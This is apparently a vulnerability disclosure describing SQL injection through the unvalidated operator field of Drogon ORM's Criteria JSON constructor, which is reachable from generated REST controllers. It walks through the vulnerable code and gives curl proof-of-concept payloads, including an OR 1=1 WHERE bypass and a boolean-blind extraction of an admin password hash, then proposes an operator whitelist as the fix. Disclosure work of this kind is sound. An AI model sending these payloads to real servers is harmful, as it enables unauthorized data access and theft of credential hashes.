[Security]SQL Injection in Drogon ORM - Criteria JSON Constructor

[2H-K]

SQL Injection in Drogon ORM - Criteria JSON Constructor

Note:

• All PoC examples use localhost:8200 as a demonstration endpoint. Replace with your actual server address.
• Response examples below are based on a test database with 8 users. Your actual responses will differ based on your data.

Test Data Schema (for reference)

The PoC examples assume a users table with the following structure:

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    salary DECIMAL(10,2)
);

-- Sample data (8 users)
INSERT INTO users (username, password_hash, salary) VALUES
('admin', '$2a$10$abc123...', 95000.00),
('zhangsan', '$2a$10$def456...', 75000.00),
('lisi', '$2a$10$ghi789...', 68000.00),
('wangwu', '$2a$10$jkl012...', 72000.00),
('zhaoliu', '$2a$10$mno345...', 65000.00),
('sunqi', '$2a$10$pqr678...', 70000.00),
('zhouba', '$2a$10$stu901...', 63000.00),
('wujiu', '$2a$10$vwx234...', 67000.00);

Summary

SQL injection vulnerability exists in the drogon::orm::Criteria JSON constructor, allowing attackers to bypass WHERE conditions and inject arbitrary SQL filter operators when using generated RESTful controllers with JSON filter bodies.

Vulnerability Details

Affected Component

• File: orm_lib/src/Criteria.cc
• Constructor: Criteria::Criteria(const Json::Value &json) noexcept(false)
• Line: 107

Vulnerable Code

90: Criteria::Criteria(const Json::Value &json) noexcept(false)
91: {
92:     if (!json.isArray() || json.size() != 3)
93:     {
94:         throw std::runtime_error("Json format error");
95:     }
96:     if (!json[0].isString() || !json[1].isString())
97:     {
98:         throw std::runtime_error("Json format error");
99:     }
100:     conditionString_ = json[0].asString();  // Column name - PROTECTED
101:     if (!json[2].isNull() && !json[2].isArray())
102:     {
103:         if (json[1].asString() == "in")       // Only rejects "in"
104:         {
105:             throw std::runtime_error("Json format error");
106:         }
107:         conditionString_.append(json[1].asString());  // OPERATOR - NO VALIDATION!
108:         conditionString_.append("$?");                  // Value - PARAMETERIZED
109:         outputArgumentsFunc_ =
110:             [arg = json[2].asString()](internal::SqlBinder &binder) {
111:                 binder << arg;  // Value bound securely
112:             };
113:     }

The Problem: The operator (json[1]) is concatenated directly into the SQL condition with only ONE check — it only explicitly rejects the "in" operator. All other operator strings are passed through without any validation or sanitization.

Key Inconsistency in Security Treatment

Part	Input	Security Mechanism	Status
Column name (json[0])	Column identifier	Whitelist via masquerading in makeCriteria()	Protected
Operator (json[1])	SQL operator string	Only rejects "in" operator	VULNERABLE
Value (json[2])	Parameter value	Parameterized binding ($? → $N)	Protected

The operator is the only part that is both attacker-controlled and concatenated into SQL without proper validation.

Introduction via Bridge: RestfulController::makeCriteria()

The Criteria object is constructed in RestfulController::makeCriteria() with column name whitelisting, but the operator still escapes unvalidated:

// RestfulController.cc:19-83
orm::Criteria RestfulController::makeCriteria(
    const Json::Value &pJson) noexcept(false)
{
    if (!pJson.isArray())
    {
        throw std::runtime_error("Json format error");
    }
    orm::Criteria ret;
    for (auto &orJson : pJson)
    {
        if (!orJson.isArray())
        {
            throw std::runtime_error("Json format error");
        }
        orm::Criteria orCriteria;
        for (auto &andJson : orJson)
        {
            if (!andJson.isArray() || andJson.size() != 3)
            {
                throw std::runtime_error("Json format error");
            }
            if (masquerading_)  // Whitelists column name only
            {
                Json::Value newJson(andJson);
                auto iter = masqueradingMap_.find(newJson[0].asString());
                if (iter != masqueradingMap_.end())
                {
                    newJson[0] = masqueradingVector_[iter->second];
                    if (!orCriteria)
                    {
                        orCriteria = orm::Criteria(newJson);  // OPERATOR NOT VALIDATED
                    }
                    else
                    {
                        orCriteria = orCriteria && orm::Criteria(newJson);
                    }
                }
                else
                {
                    throw std::runtime_error("Json format error");
                }
            }
            // ... similar for masquerading=false
        }
    }
    return ret;
}

Exploitation Path

1. Source: drogon_ctl generates RESTful controllers with JSON filter body parsing
2. Template: drogon_ctl/templates/restful_controller_base_cc.csp:300-314
   • Accepts JSON body with "filter" field
   • Parses and passes directly to makeCriteria()
3. Bridge: RestfulController.cc:40-54 - Whitemashes column names but passes operator unchecked
4. Sink: Criteria.cc:107 - Direct SQL operator injection

// restful_controller_base_cc.csp:301-314
auto jsonPtr = req->jsonObject();
if(jsonPtr && jsonPtr->isMember("filter"))
{
    try
    {
        auto criteria = makeCriteria((*jsonPtr)["filter"]);
        mapper.findBy(criteria,
            [req, callbackPtr, this](const std::vector<{%modelName%}> &v) {
                Json::Value ret;
                ret.resize(0);
                for (auto &obj : v)
                {
                    ret.append(makeJson(req, obj));
                }
                (*callbackPtr)(HttpResponse::newHttpJsonResponse(ret));
            },

Masquerading Protection Gap

The masquerading_ feature is designed to protect against column name injection, but does NOT protect the operator parameter:

Target	masquerading=true (default)	masquerading=false
Column name	Whitelist validated against aliases	Whitelist validated against real columns
Operator	No validation	No validation
Value	Parameterized binding	Parameterized binding

Operators are always unvalidated, regardless of masquerading configuration.

Impact

Confidentiality: HIGH - WHERE clause bypass + Boolean Blind SQL Injection

The most critical impact is WHERE condition bypass:

// Normal filter - returns empty (id=999 doesn't exist)
{
  "filter": [[["id", "=", "999"]]]
}
// Response: []

// Bypassed - OR 1=1 tautology returns ALL rows
{
  "filter": [[["id", "= 999 OR 1=1 OR ", "true"]]]
}
// Response: ALL users (1,2,3,4,5,6,7,8)

In applications that rely on the generated filter as part of a row-level authorization condition, the injected operator may allow the attacker to alter the resulting WHERE expression and potentially bypass application-level row restrictions.

Boolean Blind Database Extraction:

// Extract admin password_hash first character
{
  "filter": [[["id", "= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='admin'),1,1))='a' THEN 1 ELSE 0 END) AND id = ", "1"]]]
}
// Response with 'a': returns admin row
// Response with 'z': returns empty (no match)

Proof of Concept

1. WHERE Condition Bypass - OR 1=1 Tautology:

curl -X GET "http://localhost:8200/users" \
     -H "Content-Type: application/json" \
     -d '{"filter":[[["id","= 999 OR 1=1 OR ","true"]]]}'
# Normal: id=999 returns [] (no such user)
# Injected: Returns ALL 8 users (WHERE clause bypassed)

2. WHERE Condition Bypass - AND 1=0 Contradiction:

curl -X GET "http://localhost:8200/users" \
     -H "Content-Type: application/json" \
     -d '{"filter":[[["id","= 1 AND 1=0 AND ","true"]]]}'
# Returns [] (no rows pass WHERE condition)

3. Boolean Blind Data Extraction:

# Guess password_hash[0] = 'a' (correct)
curl -X GET "http://localhost:8200/users" \
     -H "Content-Type: application/json" \
     -d '{"filter":[[["id","= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='\''admin'\''),1,1))='\''a'\'' THEN 1 ELSE 0 END) AND id = ","1"]]]}'
# Response: [{"id":1,"username":"admin",...}] ← admin row returned

# Guess password_hash[0] = 'm' (correct)
curl -X GET "http://localhost:8200/users" \
     -H "Content-Type: application/json" \
     -d '{"filter":[[["id","= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='\''admin'\''),1,1))='\''m'\'' THEN 1 ELSE 0 END) AND id = ","1"]]]}'
# Response: [{"id":1,"username":"admin",...}] ← admin row returned

# Guess = non-existent character
curl -X GET "http://localhost:8200/users" \
     -H "Content-Type: application/json" \
     -d '{"filter":[[["id","= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='\''admin'\''),1,1))='\''\''''\'' THEN 1 ELSE 0 END) AND id = ","1"]]]}'
# Response: [] ← no admin user with that character

Exploitation Constraints

Technique	Status	Reason
Operator tautology (OR 1=1)	Success	Returns ALL rows bypassing WHERE
Operator contradiction (AND 1=0)	Success	Returns empty set
Operator subquery blind	Success	Boolean-based data extraction
Stacked queries	Blocked	PostgreSQL prepared statement
UNION injection	Blocked	Cannot be used in WHERE with parameterized right side
INTO OUTFILE	Blocked	PostgreSQL does not support

Recommendation

Immediate Fix:

Add operator whitelist before SQL construction:

Criteria::Criteria(const Json::Value &json) noexcept(false)
{
    if (!json.isArray() || json.size() != 3)
        throw std::runtime_error("Json format error");
    if (!json[0].isString() || !json[1].isString())
        throw std::runtime_error("Json format error");

    conditionString_ = json[0].asString();

    if (!json[2].isNull() && !json[2].isArray())
    {
        static const std::set<std::string> validOps = {
            "=", "!=", ">", "<", ">=", "<=", "like", "not like", "in"
        };
        if (validOps.find(json[1].asString()) == validOps.end())
            throw std::runtime_error("Invalid operator: " + json[1].asString());

        conditionString_.append(json[1].asString());
        conditionString_.append("$?");
        // ... rest
    }
    // ... rest
}

Long-term Solutions:

1. Use a proper query builder library for SQL construction
2. Validate ALL components of a SQL expression (column, operator, value)
3. Better separate operator selection from SQL construction
4. Add authentication by default to generated REST endpoints

Affected Versions

• Introduced: v1.0.0-beta8 (when the vulnerable pattern was introduced by commit 70eda27 on 2019-09-30)
  • Git verification: git tag --contains 70eda274 includes v1.0.0, beta8, beta9, beta10 and all later releases
• Affects: v1.0.0-beta8 ~ v1.0.0-beta21 through v1.9.13; later versions should be considered affected until a fix is confirmed
• Status: UNFIXED as of 2026-08-31

Additional Context

This vulnerability is exposed by:

1. Default Behavior: drogon_ctl generates REST controllers with filters: [] (empty) by default
2. Documentation: The framework document REST-API scaffolding as the standard workflow for building APIs
3. No Auth Filters: Framework ships zero built-in authentication filters in generated model.json templates
4. Port Forwarding: Unauthenticated endpoints accepting JSON filters via POST body

Developers who follow the official drogon_ctl create model workflow to build RESTful APIs will inherit exploitable code by default.

---

References:

• Source: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/src/Criteria.cc#L90-L119
• Bridge: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/src/RestfulController.cc#L19-L83
• Template: https://github.com/drogonframework/drogon/blob/v1.9.13/drogon_ctl/templates/restful_controller_base_cc.csp#L300-L314
• Potential Defense: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/inc/drogon/orm/BaseBuilder.h#L116-L131 (isValidSqlIdentifier - exists but unused in orderBy path)
• CWE-89: https://cwe.mitre.org/data/definitions/89.html (Improper Neutralization of Special Elements)